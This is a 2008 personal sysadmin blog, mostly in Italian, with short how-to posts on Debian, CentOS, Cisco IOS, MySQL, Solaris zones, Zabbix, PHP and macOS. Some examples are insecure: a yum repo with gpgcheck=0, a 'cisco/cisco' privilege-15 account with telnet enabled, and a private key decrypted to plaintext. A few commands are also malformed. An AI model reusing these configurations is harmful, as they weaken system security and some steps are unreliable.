This tool configures system services in connection with system runlevels. It turns on/off services using the scripts in /etc/init.d/. Rcconf works with System-V style runlevel configuration. It is a TUI(Text User Interface) frontend to the update-rc.d command.

Install rcconf in Debian:

#apt-get install rcconf

To start rconf, login as root user and type rcconf

# rcconf

Select the service you would like to enable or disable.

Using sysv-rc-conf:

sysv-rc-conf provides a terminal GUI for managing “/etc/rc{runlevel}.d/” symlinks. The interface comes in two different flavors, one that simply allows turning services on or off and another that allows for more fine tuned management of the symlinks. Unlike most runlevel config programs, you can edit startup scripts for any runlevel, not just your current one.

Install sysv-rc-conf in debian:

# apt-get install sysv-rc-conf

This will install sysv-rc-conf.Now you need to run the following command

# sysv-rc-conf

Select the service you would like to enable or disable.

Both sysv-rc-conf and rcconf are best tools to use on Remote Debian Linux or when GUI is not available

You can also use update-rc.d script as follows (update-rc.d removes any links in the /etc/rcX.d directories to the script /etc/init.d/service):

# update-rc.d -f {SERVICE-NAME} remove

For example to stop xinetd service you can type command as follows:

# update-rc.d -f xinetd remove

Debian - Change installation language

Mon, 26 Jan 2009 03:21:13 +0000

# dpkg-reconfigure locales

CentOS - Asterisk

Sat, 03 Jan 2009 16:00:09 +0000

Brevemente, come installare Asterisk su CentOS usando yum. Partiamo dal indicare che ufficialmente CentOS nei sui repository non ha i pacchetti di asterisk, quindi è necessario utilizzarne degli altri, in particolare quelli di Trixbox che come ben sapere è basata su questa distribuzione.

Per primo, installare il plug-in che ci permette di gestire le priorità

[root@server ~]# yum install yum-priorities

Creare un file con il seguente contenuto e posizionarlo in /etc/yum.repos.d/ nominandolo con estensione .repo

[trixbox\]
name=Trixbox - Repo
baseurl=http://yum.trixbox.org/centos/5/RPMS/
gpgcheck=0
priority=2
enabled=1

A questo punto è necessario inserire il campo “priority=1” negli altri .repo presenti nella directory e procedere con l’installazione di asterisk soddisfando le dipendenze relative ad esso con il repository di Trixbox per evitare incompatibilità.

RIPE Handle

Fri, 26 Dec 2008 04:39:21 +0000

Sicuramente se si lavora a stretto contatto con im mondo IP vi capiterà prima o poi di avere bisogno di un handle presso il database whois del RIPE.

Ogni oggetto specifico del RIPE ha necessità di avere un mantainer dell’oggetto stesso, dopo questa breve premessa possiamo andare sul sito del ripe nella sezione whois e iniziare le operazioni:

https://www.db.ripe.net/fcgi-bin/webupdates.pl

Person object

Create a new object: person person: Leonardo Rizzi (nome completo) address: Via 100 (via e numero civico) address: 00000 Cità (CAP e paese) address: Italy (stato) phone: +39 00 000 000 (numero di telefono) e-mail: lr@deepreflect.net (email) nic-hdl: AUTO-1 (con questo permette di generare automaticamente l’handle) changed: lr@deepreflect.net 19780225 (email e data di modifica anno mese giorno) source: RIPE (sorgente dei dati)

Se tutto è corretto riceverete un messaggio simile: “Create SUCCEEDED: [person] LR1000-RIPE Leonardo Rizzi”

Maintainer object

Create a new object: mntner mntner: LR-MNT (nome-MNT) description: Maintainer for LR1000-RIPE (qui server una descrizione) admin-c: LR1000-RIPE (la persona creata) auth: MD5-PW password-criptata-md5 (se siete pigri usate webcrypt per generare l’hash) mnt-by: LR-MNT (uguale a mntner) referral-by: LR-MNT (uguale a mntner) upd-to: lr@deepreflect.net (email) changed: lr@deepreflect.net 19780225 (email e data di modifica anno mese giorno) source: RIPE

Which should result in the following: [mntner] LR-MNT

Proteggere il person object

sempre da webupdate cercate -> LR1000-RIPE

aggiungete questi due elementi

mnt-by: LR-MNT password: password (qui dovete inserire la vostra password in chiaro non l’hash)

A questo punto se non ci sono errore siete presenti nel ripe come persone e mantainer di vuoi stessi.

Cisco - Catalyst Shaping/Ratelimit

Fri, 26 Dec 2008 03:27:42 +0000

Questo è il metodo per fare un sorta di shaping/ratelimit sui catalyst 29xx sul traffico in ingresso su una determinata porta dello switch questo è utile c’è la necessità di limitare la banda in upload di un server, su questa serie c’è però un limite di step di 1Mbit/s nonstante l’immagine Lite o Lanbase il discorso non cambia. Questo sistema non permette di avere una situazione simmetrica quindi il traffico in uscita si può molto molto grezzamente limitare con un’altro sistema che descriverò in seguito.

Prima cosa creare una classmap con associata un acl:

class-map match-all M_P00
match access-group name A_P00

Seconda cosa definire la policy, che contiene l’associazione alla classmap:

policy-map P_P00
class M_P00
police 3000000 64000 exceed-action drop

La sintassi è “police” numero di banda allocata espressa in Bits/s, numero di burst espresso in Bytes poi l’azione in caso il limite venga superato nel mio caso sono 3Mbit/s con bust di 62 Kbyte

Terza cosa associamo la policy alla porta specifica dello switch:

interface FastEthernet0/1
service-policy input P_P00

Ultima cosa, l’acl ne mio caso seleziona tutto il traffico:

ip access-list extended A_P00
permit ip any any

Questo è un sistema grezzo per fare un ratelimit del traffico in uscita dallo switch:

interface FastEthernet0/1
srr-queue bandwidth limit 10

La parte numerica della sintassi è espressa in % sulla velocità della porta.

MySQL Backup & Restore

Fri, 26 Dec 2008 02:52:03 +0000

Per effettuare un backup del singolo database:

root@tardis:~# `mysqldump --database dbname > name_db.sql -u root -p`

Queste sono opzioni utili:

–quick: effettua il dump direttamente sullo standard output; –add-drop-table: inserisce le istruzioni di eliminare le tabelle esistenti prima di ricrearle; –add-locks: blocca gli inserimenti; –lock-tables: blocca la lettura;

Per fare un restore del singolo database:

root@tardis:~# `mysql --one-database dbname < name_db.sql -u root -p `

Solaris - Zones, In the Beginning

Thu, 04 Dec 2008 00:36:04 +0000

Uso Solaris da quasi un anno ma non mi sono mai cimentato nell’uso delle famose Zones riassumendo i poche parole giusto per capire di cosa si parla dico: “operating system level virtualization”

bash-3.00# zonecfg -z Z01
Z01: No such zone configured
Use 'create' to begin configuring a new zone.
zonecfg:Z01create -b
zonecfg:Z01set zonepath=/zones/Z01
zonecfg:Z01exit
bash-3.00# zoneadm -z Z01 install
Preparing to install zone <Z01>.
Creating list of files to copy from the global zone.
Copying <115072files to the zone.
Initializing zone product registry.
Determining zone package initialization order.
Preparing to initialize <792packages on the zone.
Initialized <792packages on zone.
Zone <Z01is initialized.
The file </zones/Z01/root/var/sadm/system/logs/install\_logcontains a log of the zone installation.
bash-3.00#
bash-3.00# zonecfg -z Z01
zonecfg:Z01add net
zonecfg:Z01set address=10.0.0.1
zonecfg:Z01set physical=hme0
zonecfg:Z01end
zonecfg:Z01verify
zonecfg:Z01commit
zonecfg:Z01exit
>
bash-3.00# zoneadm -z Z01 boot
>
bash-3.00# zlogin -C Z01

Milano in inverno

Sun, 30 Nov 2008 17:52:01 +0000

Una suggestiva veduta da una finestra della stazione di Milano Bovisa.

Sorry, I don't know anything about your "xterm-color" terminal.

Mon, 24 Nov 2008 02:58:00 +0000

Oggi durante una serie di comandi con un senso ben preciso Solaris mi ha parlato in questo modo:

Sorry, I don't know anything about your "xterm-color" terminal.

La perplessità generale mi ha fatto lanciare questo comando:

bash-3.00# export TERM=vt100

Ma molto probabilmente sarebbe stato meglio un terminale “ansi”

Perl - Zabbix SMS Allert

Fri, 21 Nov 2008 00:56:33 +0000

Un netmonitor, non è un vero netmonitor se non fa squillare il telefono del sysadmin con un sms almeno 3 volte a notte, ecco qui uno script in perl per interfacciare zabbix con il servizio fornito da Mobyt tramite un POST http su un loro gateway, con qualche aggiustatina può essere usato anche con altri servizi analoghi.

#!/usr/bin/perl
# Leonardo Rizzi
# Version 0.3
# SMS sent throuth Mobyt gateway
# Designed for use without ip autentication only MD5 Hash
# Attention: there aren't any check but message limit is of 160 charaters.
use Digest::MD5  qw(md5_hex);
use strict;
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
my ($operation, $qty, $rcpt, $query, $out, $ua, $ok, $ko, $data, $from);
my ($code, $id, $password);
$id="username";
$password="password";
$ok='SMS Sent Correctly';
$ko='SMS Not Sent';
$from= $ARGV[1];
$operation="TEXT";
$qty = 'h';
#attention this fuking provider don't accept 00 for international area code only + if you use 00 you get sent error
$rcpt = $ARGV[0];
$data = $ARGV[2];
$code = join '', $id,$operation,$rcpt,$from,$data,$password;
my $ticket=md5_hex($code);
$ua = new LWP::UserAgent;
$ua->agent("SMS_MD5_Relay/0.2 " . $ua->agent);
my $req = POST 'http://smsweb.mobyt.it/sms-gw/sendsmart',
[
id =$id,
operation ='TEXT',
rcpt =$rcpt,
from =$from,
data =$data,
qty =$qty,
ticket=$ticket
];
my $res=$ua->request($req);
if ($res->content =~ /^OK/)
{
fine_ok (); }
else
{ fine_ko (); }
exit;
sub fine_ko () {
my $msg=shift;
print "$ko\n";
exit (1);
}
sub fine_ok () {
my $msg=shift;
print "$ok\n";
exit (1);
}

MySQL - Reset root password

Mon, 17 Nov 2008 19:43:42 +0000

E si a volte capita di non ricordare o avere sotto mano la password di un database mysql, ecco qualche breve passaggio per reimpostarla:

Stoppare il server mysql solitamente una cosa del genere dovrebbe bastare:

root@tardis:~# /etc/init.d/mysql stop

2`. Avviare una sessione del demone mysql con il parametro “skip grant table”

root@tardis:~# mysqld\_safe --skip-grant-tables

A questo punto è possibile collegarsi al server senza che richieda credenziali quindi:

 root@tardis:~# mysql
 >

Reipostiamo direttamente nella tabella del db la password di root:

mysql> UPDATE mysql.user SET Password=PASSWORD('NewPass') WHERE User='root';
mysql> FLUSH PRIVILEGES;

Stoppiamo il demone avviato con il “skip grant table” e riavviare quello corretto:

root@tardis:~# /etc/init.d/mysql start

PHP - Charset

Sun, 16 Nov 2008 01:04:19 +0000

Questo è dedicato a tutti quei programmatorucoli da quattro soldi che credono che si un problema di server quando nelle loro paginette del cavolo non vedono correttamente i caratteri.

Questa cosa:

Solitamente è quello che viene inserito nelle pagine html.

Per chi volesse capire ecco la spiegazione del perché questo non basta, in pratica l’engine legge il codice lo interpreta e restituisce un qualcosa, ovviamente questo qualcosa è definito chiaramente in fase di programmazione se vi dimenticate di inserire la codifica (vedi sotto) come diavolo può sapere l’engine php, che charset avete usato nella pagina?

header('Content-type: text/html; charset=utf-8');
?>

Quindi ricordate di entrambe le cose anche se la pagina contiene html ma è .php e non rompete ai sistemisti che hanno già tante cose da fare.

Any Key

Sat, 15 Nov 2008 17:47:13 +0000

“Luigi, qual’è il tasto any key?”

Apple - Resetting PowerBook and iBook Power Management Unit (PMU)

Sat, 15 Nov 2008 16:13:04 +0000

Ogni tanto il sistema di alimentazione, dei powerbook ammetto che si blocca o feggio ancora fa un po’ i fattacci suoi, una resettatina non fa male:

Rimando alla documentazione ufficiale sul sito apple:

http://support.apple.com/kb/HT1431#faq10

Debian - PXE installation

Sat, 15 Nov 2008 16:09:12 +0000

Dato che ultimamente è più facile per me avere a portata di mano un portatile o dispositivo simile e non i cd che vanno innesorabilmente persi, mi sono deciso a mettere un sistema di boot PXE sul notebook per effettuare l’installazioni dei server.

Ecco quello che serve per partire, è necessario avere questi 3 pacchetti:

Il server TFTP dove risiederanno le immagini di boot.
Il server DHCP per distribuire gli indirizzi e i parametri PXE
Il dnsmasq questo servirà ad installazione avviata per recuperare i pacchetti dal repository

Quindi prima cosa installiamo:

root@tardis:~/apt-get install tftpd-hpa dhcp3-server dnsmasq

Abilitiamo il server tftp con questi passaggi:

Editiamo: /etc/default/tftpd-hpa

Modificando questo parametro: RUN_DAEMON="no" in questo: RUN_DAEMON="yes" Io mi sono creato per comodità un link simbolico alla root del tftp in /

root@tardis:~# ln -s /var/lib/tftpboot /tftp-root

Ora di può far partire il servizio:

root@tardis:~# /etc/init.d/tftpd-hpa start

Abilitiamo il server dhcp:

Editiamo questo file: /etc/dhcp3/dhcpd.conf

Inserendo queste righe:

 option domain-name-servers 192.168.10.50;
 default-lease-time 86400;
 max-lease-time 604800;
 authoritative;

 subnet 192.168.10.0 netmask 255.255.255.0 {
 range 192.168.10.10 192.168.1.20;
 filename "pxelinux.0";
 next-server 192.168.10.50;
 option subnet-mask 255.255.255.0;
 option broadcast-address 192.168.1.255;
 option routers 192.168.10.50;
 }

Ora di può far partire il servizio:

root@tardis:~# /etc/init.d/dhcpd-server start

Abilitiamo il dnsmasq

Editiamo questo file: /etc/dnsmasq.conf

dhcp-boot=pxelinux.0,tardis,192.168.10.50

Ora di può far partire il servizio:

root@tardis:~# /etc/init.d/dnsmasq start

Routing:

Questa parte ci serve per fare il get dal repository usando il portatile da router.

root@tardis:~# echo 1 > /proc/sys/net/ipv4/ip_forward

Prepariamo il repository locale:

root@tardis:~# cd /tftp-root
root@tardis:~# wget http://ftp.nl.debian.org/debian/dists/etch/main/installer-i386/current/images/netboot/netboot.tar.gz
root@tardis:~# tar xvf netboot.tar.gz

Con questa operazione creaiamo il repository per il boot normale senza opzioni, eventuali parametri andranno specificati manualmente.

Ora collegando una macchina da installare con il pxe abilitato, prederà l’ip dal server dhcp e caricherà l’immagine di boot tramite tftp!

Debian - debian-sys-maint

Wed, 12 Nov 2008 20:06:04 +0000

Se per sbaglio durante un restore di un database mysql cancellaste l’utente di sistema debian-sys-maint Potete ripristinarlo usando la password generata e scritta in chiaro in questo file:

/etc/mysql/debian.cnf

Questo è necessario se usate il sitema APT per gestire gli aggiornamenti dei servizi, in caso contrario non ha senso di esistere.

Cavo Ottico

Wed, 12 Nov 2008 13:21:31 +0000

Non c’è cosa migliore di incontrare una bobinona di fibra ottica, sotto l’ufficio di primo mattino.

Ero convinto che avvesero fermato l’ampliamento dell’infrastruttura ottica nelle zone centrali di milano, mi fa pensare che siamo attivati a livelli critici di saturazione delle linee su rame.

Tool - Make Self

Tue, 11 Nov 2008 10:47:49 +0000

Segnalo un tool per creare gli eseguibili autoestraenti sui sistemi *nix sempre utile per ogni evenienza.

http://megastep.org/makeself/

Ed è solo lunedì..

Mon, 10 Nov 2008 23:35:34 +0000

Lunedì +

Il Lunedì, le ferrovie che scioperano, la benedizione natalizia dell’ufficio, hanno messo veramente a dura prova la mia pazienza.

VPS Linux - TUN/TAP Device

Mon, 10 Nov 2008 12:08:02 +0000

Se aquistato una vps con Debian basata su XEN ricordatevi che nella maggio parte dei casi mancano tools per gestire i moduli quindi per utilizzare un qualsiasi modulo in questo caso particolare tun/tap occorre installarli:

# apt-get install module-init-tools

#modprobe tun

# mkdir /dev/net

# mknod /dev/net/tun c 10 200

A questo punto è tutto pronto.

Per riconoscere se è questo il vostro problema è facile incorrere in questo errore:

Cisco Acquires Jabber, Inc.

Sun, 09 Nov 2008 05:39:14 +0000

Questa mi suona propio nuova eppure è una notizia di qualche settimana fa, Cisco ha acquisito Jabber.

Ma che sta succedendo?

More info:

http://www.cisco.com/web/about/ac49/ac0/ac1/ac258/JabberInc.html

Manipolazione certificati ssl P12

Sun, 09 Nov 2008 00:06:24 +0000

Memo su come estrarre i certificati compressi in P12

Comando per estrarre la chiave:

# openssl pkcs12 -nocerts -in cert.p12 -out key.pem

Comando per estrarre il certificato:

# openssl pkcs12 -nokeys -in cert.p12 -out cert.pem

Comando per decriptare la chiave, questo serve per evitare di reinserire tutte le volte che si usa la chiave, la password rsa:

# openssl rsa -in key.pem -out decryptkey.pem

Linux - Zabbix Build 1.6.1 (MySql)

Sat, 08 Nov 2008 18:00:51 +0000

Una breve guida sull’implementazione di questo giovane netmonitor che a mio avviso a differenza di soluzioni più conosciute e consolidate come nagios, introduce una gestione molto più web oriented semplificando moldo le operazioni in ambienti che necessitano di rapida scalabilità.

L’installazione è stata effettuato con successo usando Debian Etch 4.0r5 e CentOS 5.2 inutile dire che tutte le operazio che seguiranno dovranno essere fatte da utente ‘root’

Prepariamo quello che ci serve per la compilazione:

tardis:~# aptitude -y install build-essential libmysqlclient-dev libssl-dev libsnmp-dev libiksemel-dev libcurl3-dev

tardis:~# apt-get install snmp libiksemel3 libcurl3 libsnmp-base libmysqlclient15off

Scarichiamo i sorgenti, e procediamo con scompattazione:

tardis:~# wget http://garr.dl.sourceforge.net/sourceforge/zabbix/zabbix-1.6.1.tar.gz
tardis:~# tar zxvf zabbix-1.6.1.tar.gz
tardis:~# cd zabbix-1.6.1

Configurazione e compilazione, in questo caso verà compilato oltre all’agente dedicato a discovery e al monitoraggio, anche il server che ha la funzione di raccogliere di dati dai vari agent, gestire gli allarmi e le operazioni di cordinameto:

tardis:~# ./configure --prefix=/usr --with-mysql --with-net-snmp --enable-server --enable-agent --enable-ipv6 --with-jabber
tardis:~# make

Ora una piccola nota, se compilaste direttamente su macchine di produzione a questo punto basterebbe fare un ‘make install’ non avendo gli strumenti dedicati, è necessario spostare il compilato sulla macchina dedicata e procedere a mano, quindi (questa fase è da eseguire sulla macchina di produzione che dovrà avere a bordo Apache2, PHP5, Mysql5 già funzionanti):

Creiamo utente e gruppo dedicato:

 groupadd zabbix
 useradd -c 'Zabbix' -d /home/zabbix -g zabbix -s /bin/bash zabbix
 mkdir /home/zabbix
 chown zabbix:zabbix /home/zabbix

Creiamo database e utente dedicato in mysql server:

mysql -p -u root create database zabbix; grant all on zabbix.* to ‘zabbix’@’localhost’ identified by ‘changeme’; quit;

Popoliamo le tabelle del database:

 server:~/zabbix-1.6.1# mysql -u root -p zabbix  < create/schema/mysql.sql
 server:~/zabbix-1.6.1# mysql -u root -p zabbix < create/data/data.sql
 server:~/zabbix-1.6.1# mysql -u root -p zabbix < create/data/images_mysql.sql

Creaiamo una struttura di directory dedicata, questa soluzione potrebbe risultare noiasa, ma durante le operazioni di aggiornamento e manutenzione sarà molto più comodo e veloce:

 server:~# mkdir /usr/share/zabbix
 server:~# mkdir /usr/share/zabbix/sbin
 server:~# mkdir /usr/share/zabbix/etc
 server:~# mkdir /usr/share/zabbix/frontends

Con i seguenti passaggi creaiamo un link simbolico delle /etc di zabbix alla /etc di sistema, copiamo il frontend php nella directory dedicata, e infine copiamo gli esguibili compilati che ci servono:

 server:~/zabbix-1.6.1# ln -s /usr/share/zabbix/etc/ /etc/zabbix
 server:~/zabbix-1.6.1# cp -r frontends/php/* /usr/share/zabbix/frontends

 server:~/zabbix-1.6.1# cp src/zabbix\_agent/zabbix_agent /usr/share/zabbix/sbin/zabbix_agent
 server:~/zabbix-1.6.1# cp src/zabbix\_agent/zabbix_agentd /usr/share/zabbix/sbin/zabbix_agentd
 server:~/zabbix-1.6.1# cp src/zabbix_server/zabbix_server /usr/share/zabbix/sbin/zabbix_server

Configuriamo i file di init.d copiandoli e aggiustando i path

server:~/zabbix-1.6.1# cp misc/init.d/debian/* /etc/init.d/

Modificate entrambi gli script aggiustando i path in particolare questa riga:

da così: DAEMON=/home/zabbix/bin/${NAME} deve diventare così: DAEMON=/usr/share/zabbix/sbin/${NAME}

Aggiungiamo la definizione delle porte usate da zabbix nei /etc/services

echo > " zabbix_agent 10050/tcp # Zabbix ports zabbix_trap 10051/tcp" /etc/services

Copiamo le configurazioni di default e apportiamo le modifiche di base:

server:~~/zabbix-1.6.1# chown -R zabbix:zabbix /usr/share/zabbix/etc server:~~/zabbix-1.6.1# cp misc/conf/zabbix_* /usr/share/zabbix/etc

Editiamo il file: zabbix_agentd.conf e assicuriamoci che ci sia la seguente riga

Server=127.0.0.1

Editiamo zabbix_server.conf

 max_execution_time = 300
 date.timezone = UTC
 DBHost=localhost
 DBName=zabbix
 DBUser=zabbix
 DBPassword=changeme

Apache e PHP

Nel file php.ini è necessario avere i seguenti parametri definiti:

 max_execution_time = 300
 date.timezone = UTC

La configurazione di apache è abbastanza a discrezione dell’amministratore si può fare in due modi:

Creando un vhost dedicato:

 
 ServerName zabbix.domain.tld
DocumentRoot /usr/share/zabbix/frontends
 
 Options FollowSymLinks
 AllowOverride None

Oppure creando un’alias in una vhost già definito:


 Alias /zabbix /usr/share/zabbix/frontends

Ora se tutto è stato fatto correttamente avviando i servizi e aprendo la pagina web si potrà procedere con la rapiada configurazione del frontends e poi all’uso ma prima i seguenti comandi:

/etc/init.d/apache2 restart
/etc/init.d/zabbix-server start
/etc/init.d/zabbix-agent start

Web 2.0

Fri, 07 Nov 2008 03:22:59 +0000

Ma che cosa vuol dire?

PHP - Problem Solving

Mon, 03 Nov 2008 13:22:31 +0000

ini_set( "display_errors", 0);

La risposta alla domanda fondamentale sulla vita, l'universo e tutto quanto

Mon, 03 Nov 2008 01:11:53 +0000

Mac OS X - root user

Sun, 02 Nov 2008 03:27:43 +0000

Abilitare l’utente di root nelle varie versioni dell’os X

10.5

Dal tool “Directory Utility” che si trova in Applications - Utility, sbloccare le impostazioni con il lucchettino, poi dal menu “Edit” c’e’ la comoda voce “Enable Root User” dopodiche’ settare la password.

10.2 - 10.3 - 10.4

Dal tool “NetInfo Manager” che si trova in Applications - Utility, sbloccare le impostazioni con il lucchettino, poi dal menu “Security” c’e’ la voce “Enable Root User” dopodiche’ settare la password.

10.0 - 10.1

Dal tool “NetInfo Manager” che si trova in Applications - Utility, sbloccare le impostazioni con il lucchettino, poi dal menu “Security”, “Domain"c’e’ la voce “Enable Root User” dopodiche’ settare la password.

Apache - Client denied by server configuration

Thu, 30 Oct 2008 11:58:32 +0000

Tipico errore 403 Access Denied e nel log una stringa simile a quest “client denied by server configuration” con incluso il path del file specifico?

Allora con buona probabilita’ manca una direttiva nella configurazione globale o nella singola del vhost:

<Directory "/var/www/">
 Options None
 AllowOverride None
 Order allow,deny
 Allow from all
</Directory>

Linux - IPv6 Tunnel Broker

Mon, 27 Oct 2008 01:33:02 +0000

Come definire il link ad un tunnel broker i questo esempio HE.net da sistema operativo linux utilizzando i net tools

Prima parte crea l’interfaccia di tunneling sull’ipv4:

ifconfig sit0 up

ifconfig sit0 inet6 tunnel ::216.66.84.42

Seconda parte genera l’endpoint del tunnel in ipv6:

ifconfig sit1 up

ifconfig sit1 inet6 add 2001:470:1f12:11c::2/64

Terza parte definisce la rotta sul device relativo all’endpoing del tunnel per tutto il traffico ipv6:

route -A inet6 add ::/0 dev sit1

Export

Mon, 27 Oct 2008 01:10:13 +0000

Memo, questo e’ solo per ricordarmi l’export del profile:

export PATH=$PATH:/opt/csw/bin:/usr/sfw/bin:/usr/sbin:/usr/bin:/usr/openwin/bin:/usr/dt/bin:/usr/ccs/bin

Whois - Controlli ricorsivi

Mon, 27 Oct 2008 01:01:46 +0000

Come eseguire controlli ricorsivi sui whois e generare un file per singola query usando poche righe di bash scripting, attenzione ai limiti per server (il file si chiamera’ “list” e deve avere un dominio di secondo livello per riga) quindi questo e’ tutto:

 #!/bin/bash
 declare -a ARRAY
 exec 10<list
 let count=0
 while read LINE <&10; do
 whois $LINE > /home/leo/whois/result/$LINE
 echo $LINE
 ARRAY[$count]=$LINE
 ((count++))
 done
 echo Number of elements: ${#ARRAY[@]}
 echo ${ARRAY[@]}
 exec 10>&-

Cisco - ATM Line Status

Tue, 21 Oct 2008 23:40:33 +0000

Breve memo sul comando per l’analisi dello stato del modulo ATM per le linea adsl in caso di problemi e’ sempre bene verificare i livelli di attenuazione e margine di rumore della linea al fine di valutare la qualita’ del segnale della linea.

router# show dsl interface atm0/0

IRC Cut 01 - #solaris

Tue, 21 Oct 2008 23:16:38 +0000

<Giaco> dannazione non trovo la sprite
<Giaco> solo la fanta
<Giaco> oddio che male sto ginocchiolo
<Giaco> ma sip e' udp o tcp ?
<Giaco> ah forse era aix udp
<Giaco> non mi piace ios
<mega> ma che stai vaneggiando?
<Giaco> ios e' come il linux
<Giaco> non e' come i bsd
<mega> tu fumi troppe canne
<mega> vado a nanna
<mega> notte
<Giaco> era aix o iax ?
<Giaco> ciao

Hardware - MacPRO ITA Keyboard on windows

Sun, 19 Oct 2008 13:44:29 +0000

Vi sarà mai capitato di aver collegato una tastiera Apple ad un PC in particolar modo una PRO Ita, ovviamente nei driver standard la mappatura non esiste, neache lontanamente.

Ho creato con un software fornito da Microsoft (Microsoft Keyboard Layout Creator) la mappatura della tastiera nel file scaricabile qua sotto è contenuto un installer e il sorgente per modificabile.

Attezione il tast “DEL” è mappato con il tasto virgola del tastierino per comodità.

Keyboard Layout MacPRO ITA

Cisco - SSH

Wed, 15 Oct 2008 21:45:30 +0000

Ecco come abilitare, l’ssh sugli apparati con cisco con IOS

Prima fase configurare un dominio, e generare i certificati, al fine di incrementare la sicurezza consiglio di usare almeno la chiave 768 Bit che permette l’uso di SSH v2

 route_01_no#conf t
 Enter configuration commands, one per line. End with CNTL/Z.
 route_01_no(config)#ip domain-name stars.deepreflect.net
 route_01_no(config)#cry key generate rsa

 The name for the keys will be: route_01_no.stars.deepreflect.net
 Choose the size of the key modulus in the range of 360 to 2048 for your
 General Purpose Keys. Choosing a key modulus greater than 512 may take
 a few minutes.

 How many bits in the modulus [512]: 768
 % Generating 768 bit RSA keys, keys will be non-exportable...[OK]

La seconda fase e’ abilitare il protocollo SSH v2 e abilitare le line vty all’accesso:

Mac OS X - your network have been changed by another application

Wed, 15 Oct 2008 14:33:48 +0000

Dopo l’aggiornamento sulla sicurezza 2008-006 versione del sistema 10.4.11 e’ insorto un problema nelle preferenze di sistema, sezione network:

All’apertura si verifica questo errore “your network have been changed by another application” non reversibile con gli strumenti messi a disposizione per intenderci il tasto “OK”

Questo succede per dei monivi di sicurezza dato che le preferenze di rete interagiscono in continuazione con il portachiavi di sistema, vedi per le password PPP, le chiavi Airport e altre configurazioni di accesso.

La cosa piu’ sbrigativa sarebbe tenere le configurazioni bloccate con il lucchettino, ma risulta molto scomodo dover autenticare ogni modifica.

Come soluzione definitiva si puo’ procedere in questo modo: Cercare la seguente cartella

/Library/Preferences/SystemConfiguration

Cancellare i seguenti file:

com.apple.airport.preferences.plist
NetworkInterfaces.plist
preferences.plist
com.apple.nat.plist

Dopo aver fatto questo e’ necessario cancellare tutto il database del portachiavi di sistema, o almeno la definizione delle password legate ai servizi di rete. Attenzione i dati di autenticazione dovranno essere reiseriti al fine di ricostruire con i giusti privilegi il db.

E poi si chiedono perché cambio lavoro.

Mon, 13 Oct 2008 22:08:12 +0000

Lavorereste mai in una societa’ di telecomunicazioni in cui sostituiscono un firewall Checkpoint su piattaforma Nokia con uno Zyxel ZyWall USG.

Sono inorridito

Cisco - Lock & Key

Sun, 12 Oct 2008 20:04:09 +0000

Discutendo una sera sulla sicurezza dei servizi SSH e sull’alternativa di utilizzare porte non standard per ovviare ai frequenti tentativi di instrusione automatici effettuati da bot, l’idea e’ offuscare la porta 22 con stratagemmi simili a port knocking, IOS a riguardo puo’ essere sfruttato con una funzione chiamata Lock & Key si tratta di condizionare una ACL per un tempo limitato per mezzo di autenticazione.

Il meccanismo puo’ essere integrato su router di confine o router di accesso che abbiamo autenticazione locale o TACAS+

Prima fase e’ abilitare e definire il metodo di autenticazione, in questo esempio e’ locale sul router nel caso ci sia un server ACS specificare i parametri.

aaa new-model
aaa authentication login userauthen local
aaa authentication login clientauth local
aaa authorization network groupauthor local

Seconda fase definire almeno un utente:

username cisco privilege 15 password cisco

Terza fase applicare un gruppo all’interfaccia di ingresso:

interface FastEthernet0/0
ip access-group 150 in

Quarta fase definire l’access list, la prima abilita il telnet, la seconda abilita l’ssh in condizione di autenticazione posiva, e lascia attiva la regola per 120 secondi dopo che connesione viene chiusa:

access-list 150 permit tcp any any eq telnet
access-list 150 dynamic TL01 timeout 120 permit tcp any any eq 22

Quinta fase definire l’autocommad nella sezione terminali virtuali, nel caso specifico se si esegue un login via telnet si attiva l’ACL, per la gestione del router sono dedicate le line SSH

line vty 0 4
 privilege level 15
 autocommand  access-enable timeout 5
 transport input telnet
line vty 5 9
 privilege level 15
 transport input ssh

IPv6 - HE.NET Certification

Thu, 09 Oct 2008 21:08:44 +0000

Simpatica certificazione IPv6 inventata dalla Hurricane Electric:

Php - Riconoscimento lingua browser

Sun, 05 Oct 2008 22:29:35 +0000

Visto che mi hanno chiesto un sistema per riconoscere la lingua del browser con successiva visualizzazione del rispettivo contenuto, posto il codice, spiego usanto una variabile di ambiente php e comparando le prime due cifre della lingua impostata nel browser le compara con due lingue italiano e tedesco e successivamente se non sono una di queste due rimanda alla pagine inglese, semplice e coinciso:

<?php
if (substr($_SERVER["HTTP_ACCEPT_LANGUAGE"],0,2) == "it")
{
include("index_ita.htm");
}
elseif (substr($_SERVER["HTTP_ACCEPT_LANGUAGE"],0,2) == "de")
{
include("index_deu.htm");
} else {
include("index_eng.htm");
}
?>

Mac OS X - Verbose Boot

Sun, 05 Oct 2008 20:51:32 +0000

Be l’os x anche se propio non sembra un sistema unix a causa di tutta questa bella grafica, in realta’ lo e’ fino all’osso, quindi nel caso si volesse visualizzare il verbose mode del boot ecco come fare:

Da terminale in modalita’ root:

Per abilitare:

# nvram boot-args="-v"

Per disabilitare:

# nvram boot-args=

Per la versione del firmware:

# nvram -p

Mac OS X - Flush DNS Cache

Sun, 05 Oct 2008 20:37:58 +0000

Ecco i comandi vari ed eventuali sempre utili, ovviamente eseguiti da terminale:

Leopard 10.5

# dscacheutil -flushcache

Tiger 10.4

# lookupd -flushcache

Server Strings

Fri, 03 Oct 2008 23:20:18 +0000

Adoro quando i server rispondono cosi’ (si, il server di posta e’ in ascolto anche in ipv6):

leobook-w:~ leonardorizzi$ telnet mail.deepreflect.net 25
Trying 2001:470:1f13:10a::100...
Connected to mail.deepreflect.net.
Escape character is '^\]'.
220 deepreflect.net ESMTP - Life is short talk fast!

Win NT - Logon Script Network MAP

Tue, 16 Sep 2008 22:26:24 +0000

Script semplice e veloce per mappare le unita’ di rete nei domini active directory, c’e’ chi usa ancora il “net use” ma purtroppo hanno anche inventato il VBS:

Notare che la terza mappatura mappa la home prendendo come variabili dallo username. Nominare .vbs

Option Explicit
Dim objNetwork, strRemotePath1, strRemotePath2, strRemotePath3
Dim strUserName, strDriveLetter1, strDriveLetter2, strDriveLetter3
strDriveLetter1 = "S:"
strDriveLetter2 = "P:"
strDriveLetter3 = "X:"
strRemotePath1 = "\\server\share"
strRemotePath2 = "\\server\driver"
strRemotePath3 = "\\server"
Set objNetwork = CreateObject("WScript.Network")
objNetwork.MapNetworkDrive strDriveLetter1, strRemotePath1
objNetwork.MapNetworkDrive strDriveLetter2, strRemotePath2
Set objNetwork = WScript.CreateObject("WScript.Network")
strUserName = objNetwork.UserName
